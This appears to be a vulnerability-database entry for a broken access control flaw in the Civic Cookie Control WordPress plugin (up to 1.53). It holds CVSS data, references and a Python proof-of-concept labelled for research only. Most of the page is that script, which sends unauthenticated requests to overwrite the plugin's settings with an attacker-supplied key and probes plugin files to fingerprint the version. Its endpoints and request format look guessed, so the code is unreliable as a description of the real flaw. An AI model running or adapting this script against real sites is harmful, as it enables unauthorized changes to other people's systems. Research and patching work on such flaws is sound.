CVE-2026-22348

Description

Missing Authorization vulnerability in Tasos Fel Civic Cookie Control civic-cookie-control-8 allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Civic Cookie Control: from n/a through <= 1.53.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Civic Cookie Control <= 1.53

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-22348 PoC - Civic Cookie Control Broken Access Control
# Affected: Civic Cookie Control <= 1.53

import requests
import json

target = "http://target-wordpress-site.com"

# PoC 1: Access admin functionality without authentication
def poc_unauthorized_access():
    """
    This PoC demonstrates accessing admin functions without proper authorization.
    The plugin fails to verify user capabilities before executing sensitive operations.
    """
    
    # Try to access plugin settings endpoint
    endpoints = [
        f"{target}/wp-admin/admin-ajax.php",
        f"{target}/wp-json/civic-cookie-control/v1/settings"
    ]
    
    for endpoint in endpoints:
        headers = {
            "Content-Type": "application/json",
            "X-Requested-With": "XMLHttpRequest"
        }
        
        # Malicious payload targeting the vulnerable endpoint
        payload = {
            "action": "civic_cookie_control_save_settings",
            "settings": {
                "consentMode": "all",
                "apiKey": "malicious_key"
            }
        }
        
        try:
            response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
            if response.status_code == 200:
                print(f"[!] Potential vulnerability at: {endpoint}")
                print(f"[*] Response: {response.text[:200]}")
        except requests.RequestException as e:
            print(f"[*] Request failed: {e}")

# PoC 2: Enumerate vulnerable versions
def check_version():
    """
    Check if target is running vulnerable version of the plugin.
    """
    version_urls = [
        f"{target}/wp-content/plugins/civic-cookie-control/readme.txt",
        f"{target}/wp-content/plugins/civic-cookie-control/civic-cookie-control.php"
    ]
    
    for url in version_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Version:" in resp.text or "version" in resp.text.lower():
                print(f"[*] Found version info at: {url}")
        except:
            pass

if __name__ == "__main__":
    print("[*] CVE-2026-22348 PoC - Civic Cookie Control Broken Access Control")
    print("[*] Target: Civic Cookie Control <= 1.53")
    poc_unauthorized_access()
    check_version()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22348
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22348
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22348/
[4] VulDB https://vuldb.com/cve/CVE-2026-22348
[5] https://patchstack.com/database/Wordpress/Plugin/civic-cookie-control-8/vulnerability/wordpress-civic-cookie-control-plugin-1-53-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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